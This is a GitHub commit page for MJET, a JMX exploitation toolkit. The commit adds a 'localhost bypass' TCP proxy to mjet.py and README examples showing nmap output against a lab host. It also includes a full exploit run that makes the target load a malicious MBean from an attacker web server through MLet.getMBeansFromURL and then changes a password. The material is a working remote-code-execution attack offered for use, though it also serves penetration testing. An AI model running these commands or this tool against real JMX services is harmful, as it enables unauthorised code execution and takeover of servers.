Skip to content
This repository has been archived by the owner on Mar 13, 2023. It is now read-only.

Commit

Permalink
Merging Karsten Zeides localhost bypass
Browse files Browse the repository at this point in the history
  • Loading branch information
h0ng10 committed Mar 28, 2020
1 parent eb520ab commit ded94f6
Show file tree
Hide file tree
Showing 2 changed files with 124 additions and 5 deletions.
61 changes: 56 additions & 5 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -28,12 +28,13 @@ Where
* **MODE** - the script mode
* **modeOptions** - the options for the mode selected

Optional arguments (if JMX authentication is enabled):
Authentication support (if JMX authentication is enabled):
* **--jmxrole** - the username
* **--jmxpassword** - the password

Optional argument (if target uses JMXMP):
* **--jmxmp** - no arguments
Other optional arguments:
* **--jmxmp** - Use JMX-MP (requires to load an additional JAR)
* **--localhost_bypass** - service port for the proxy in localhost bypass

### Modes and modeOptions

Expand Down Expand Up @@ -281,14 +282,64 @@ MJET - MOGWAI LABS JMX Exploitation Toolkit
```

### JMX message protocol
### JMX message protocol (JMXMP) support

Download [opendmk_jmxremote_optional_jar-1.0-b01-ea.jar](https://mvnrepository.com/artifact/org.glassfish.external/opendmk_jmxremote_optional_jar/1.0-b01-ea) and move it into the jars directory. You need to add this directory to the classpath via `java -cp`.

```bash
java -cp "jython.jar:jars/*" org.python.util.jython mjet.py shell mypass
```

### Localhost bypass

It sometimes happens that the RMI registry exposes a RemoteObject that is only accessible on localhost (example @127.0.0.1:45401). However, the port is open where the RemoteObject is accessible over the network.

```bash
$ nmap -sVC 172.17.0.2 -p 9999,45401

Starting Nmap 7.60 ( https://nmap.org ) at 2020-03-24 16:48 CET
Nmap scan report for 172.17.0.2
Host is up (0.00035s latency).

PORT STATE SERVICE VERSION
9999/tcp open java-rmi Java RMI Registry
| rmi-dumpregistry:
| jmxrmi
| implements javax.management.remote.rmi.RMIServer,
| extends
| java.lang.reflect.Proxy
| fields
| Ljava/lang/reflect/InvocationHandler; h
| java.rmi.server.RemoteObjectInvocationHandler
| @127.0.0.1:45401
| extends
|_ java.rmi.server.RemoteObject
45401/tcp open rmiregistry Java RMI
```
It is still possible to exploit this service by using the `--localhost_bypass <PORT>` option. In the following example, we use port 45401. This will start a TCP proxy on localhost and forward the traffic to the targetHost on the supplied port.
```bash
$ jython mjet.py --localhost_bypass 45401 172.17.0.2 9999 install mypass http://172.17.0.1:6666 6666

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Starting webserver at port 6666
[+] Using JMX RMI
[+] Connecting to: service:jmx:rmi:///jndi/rmi://172.17.0.2:9999/jmxrmi
[+] Started localhost proxy on port 45401
[+] Connected: rmi://172.17.0.1 17
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://172.17.0.1:6666
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
172.17.0.2 - - [24/Mar/2020 18:07:01] "GET / HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password
[+] Done
```

Reference: https://www.optiv.com/blog/exploiting-jmx-rmi

## Contributing

Feel free to contribute.
Expand All @@ -300,7 +351,7 @@ Feel free to contribute.
* **Ben Campbell** - *Several improvements* - [Meatballs1](https://github.com/Meatballs1)
* **Arnim Rupp** - *Authentication support*
* **Sebastian Kindler** - *Deserialization support*
* **Karsten Zeides** - *JMX Message Protocol support* [zeides](https://github.com/zeides)
* **Karsten Zeides** - *JMX Message Protocol support, localhost bypass* [zeides](https://github.com/zeides)

See also the list of [contributors](https://github.com/mogwailabs/sjet/graphs/contributors) who participated in this project.

Expand Down
68 changes: 68 additions & 0 deletions mjet.py
Original file line number Diff line number Diff line change
Expand Up @@ -24,6 +24,9 @@
import random
import string

# Socket to generate a proxy for localhost bypasses
import socket


authorSignature = 'MJET - MOGWAI LABS JMX Exploitation Toolkit\n'
authorSignature += '==========================================='
Expand Down Expand Up @@ -104,6 +107,9 @@ def connectToJMX(args):
if "Authentication failed! Invalid username or password" in str(sys.exc_info()[1]):
print "[-] Authentication failed! Invalid username or password"

if "Connection refused to host: 127.0.0.1" in str(sys.exc_info()):
print "[-] Connection refused to 127.0.0.1! Try the localhost_bypass"

sys.exit(-1)
##########

Expand Down Expand Up @@ -429,6 +435,53 @@ def deserializationMode(args):

### /DESERIALIZATION MODE ###


### Proxy for localhost bypass ###


def runProxy(target, port):
try:
# server socket
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(("127.0.0.1", port))
server.listen(1)
local_socket, address = server.accept()

# client socket
remote_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
remote_socket.connect((target, port))
except socket.error as e:
print "[-] Error: Failed to start localhost proxy with port " + str(port)
if "Address already in use" in e:
print "[-] Port " + str(port) + " is already in use!"
sys.exit(1) # kil the thread

local_to_remote = Thread(
target=proxyHandler, args=(local_socket, remote_socket))
local_to_remote.daemon = True
local_to_remote.start()

remote_to_local = Thread(
target=proxyHandler, args=(remote_socket, local_socket))
remote_to_local.daemon = True
remote_to_local.start()

print "[+] Started localhost proxy on port " + str(port)



def proxyHandler(source, dest):
while 1:
try:
data = source.recv(1024)
if not data:
break
dest.send(data)
except:
break

### /Proxy for localhost bypass ###

### PARSER ###
# Map for clarity's sake

Expand Down Expand Up @@ -478,6 +531,13 @@ def arg_deserialization_mode(args):
parser.add_argument('--jmxpassword', help='remote JMX password')
parser.add_argument('--jmxmp', action='store_true',
help='Use JMX Message Protocol')
parser.add_argument('--localhost_bypass',
default=None,
dest="localhost_bypass_port",
action='store',
nargs='?',
type=int,
help='JMX RemoteObject port')

subparsers = parser.add_subparsers(
title='modes', description='valid modes', help='use ... MODE -h for help about specific modes')
Expand Down Expand Up @@ -549,4 +609,12 @@ def arg_deserialization_mode(args):

# Store the user args
args = parser.parse_args()

if args.localhost_bypass_port:
proxyServer = Thread(
target=runProxy, args=(args.targetHost, args.localhost_bypass_port))
proxyServer.daemon = True
proxyServer.start()


args.func(args)

0 comments on commit ded94f6

Please sign in to comment.